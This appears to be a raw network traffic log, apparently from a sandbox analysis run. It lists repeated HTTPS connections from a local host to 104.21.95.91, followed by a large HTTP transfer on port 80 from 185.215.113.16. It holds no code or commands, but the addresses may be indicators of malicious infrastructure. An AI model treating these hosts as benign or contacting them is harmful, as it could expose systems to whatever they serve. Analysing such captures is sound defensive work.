Oct 27, 2024 17:17:07.075268984 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:07.075289011 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:07.713753939 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:07.713835001 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:07.760838985 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:07.760874033 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:07.761329889 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:07.809786081 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:07.816059113 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:07.816076994 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:07.816253901 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:08.300865889 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:08.300946951 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:08.301002026 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:08.347677946 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:08.347702026 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:08.347717047 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:08.347723007 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:08.407762051 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:08.407870054 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:08.407965899 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:08.408219099 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:08.408253908 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.044002056 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.044183016 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.045506954 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.045530081 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.046287060 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.047384977 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.047421932 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.047463894 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541063070 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541184902 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541284084 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.541330099 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541435003 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541500092 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.541513920 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541609049 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541667938 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.541680098 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541785002 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.541841030 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.541851997 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.546262026 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.546329975 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.546344042 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.591166019 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.661648035 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.661942005 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.662013054 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.662031889 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.662062883 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.662121058 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.662652969 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.662915945 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.662981033 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.663052082 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.663100958 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.663127899 CET	49707	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.663144112 CET	443	49707	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.839899063 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.839975119 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:09.840069056 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.840394974 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:09.840430021 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:10.714392900 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:10.714595079 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:10.720824003 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:10.720845938 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:10.721263885 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:10.736543894 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:10.739833117 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:10.739886999 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.001069069 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.001357079 CET	443	49708	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.001405001 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.001456022 CET	49708	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.143047094 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.143141031 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.143239021 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.143582106 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.143616915 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.793531895 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.793729067 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.795346975 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.795375109 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.795794010 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.797579050 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.797734022 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.797777891 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:12.797841072 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:12.797853947 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:13.347954035 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:13.348226070 CET	443	49709	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:13.348309994 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:13.348309994 CET	49709	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:13.668181896 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:13.668227911 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:13.668303013 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:13.668956995 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:13.668973923 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.302906036 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.302978039 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:14.304718018 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:14.304728031 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.305087090 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.306803942 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:14.306854963 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:14.306884050 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.306957960 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:14.306967974 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.843457937 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.843733072 CET	443	49710	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:14.843760967 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:14.843792915 CET	49710	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.300865889 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.300924063 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:15.301028967 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.307625055 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.307651043 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:15.948380947 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:15.948510885 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.949877977 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.949903011 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:15.950253010 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:15.951746941 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.952003956 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:15.952017069 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:17.360872030 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:17.360986948 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:17.361064911 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:17.361339092 CET	49711	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:17.361363888 CET	443	49711	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:17.801386118 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:17.801523924 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:17.801634073 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:17.802068949 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:17.802149057 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.455674887 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.455895901 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.457737923 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.457792997 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.458162069 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.459453106 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.460489035 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.460544109 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.460699081 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.460746050 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.460903883 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.460958958 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.461139917 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.461204052 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.461394072 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.461461067 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.461677074 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.461728096 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.461755037 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.461779118 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.461914062 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.461962938 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.462007046 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.462110996 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.462162018 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.477365971 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.477624893 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.477744102 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.477761984 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.477816105 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:18.477826118 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:18.477889061 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.272691011 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.272927046 CET	443	49712	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.273129940 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.273130894 CET	49712	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.284789085 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.284832954 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.284898043 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.285259008 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.285269022 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.902658939 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.902739048 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.904649019 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.904658079 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.905478001 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:20.906723022 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.906754971 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:20.906812906 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:21.229209900 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:21.229468107 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:21.229543924 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:21.229687929 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:21.229705095 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:21.229717016 CET	49713	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:21.229722977 CET	443	49713	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:21.232177973 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:21.237552881 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:21.237651110 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:21.237942934 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:21.243432999 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.141791105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.141930103 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.141963005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142014027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142033100 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.142047882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142082930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142103910 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.142117977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142132044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.142149925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142199993 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142224073 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.142236948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.142287970 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.147891998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.147926092 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.147962093 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.148000956 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.148011923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.148114920 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.296555042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.296586990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.296714067 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.296792030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.296822071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.296871901 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.296884060 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.296904087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.296936989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.296963930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.297030926 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.297030926 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.297405958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.297434092 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.297482967 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.297588110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.297626972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.297661066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.297710896 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.297710896 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.297787905 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.298166990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.298216105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.298279047 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.414983034 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415024042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415057898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415081024 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.415091038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415127039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415149927 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.415214062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415247917 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415275097 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.415282965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415342093 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.415697098 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415731907 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415766954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.415903091 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.451565981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.451596975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.451653957 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.451708078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.451735973 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.451769114 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.497215033 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.532129049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532186031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532219887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532279015 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.532377958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532411098 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532444954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532510996 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.532510996 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.532670975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532705069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532766104 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.532771111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532804012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532838106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.532871008 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.569848061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.569925070 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.570027113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.570061922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.570095062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.570107937 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.622174025 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.649578094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.649632931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.649668932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.649689913 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.649702072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.649736881 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.649795055 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.650142908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.650176048 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.650209904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.650228977 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.650265932 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.650319099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.650352001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.650387049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.650409937 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.687045097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.687081099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.687114954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.687141895 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.687165976 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.687196970 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.687231064 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.687263966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.687302113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.731580973 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.767477036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767528057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767563105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767596960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767618895 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.767631054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767664909 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767746925 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.767748117 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.767868042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767919064 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767951965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.767977953 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.768651962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.768706083 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.804522991 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.804558039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.804606915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.804620028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.804739952 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.804771900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.804804087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.804841042 CET	49714	80	192.168.2.5	185.215.113.16
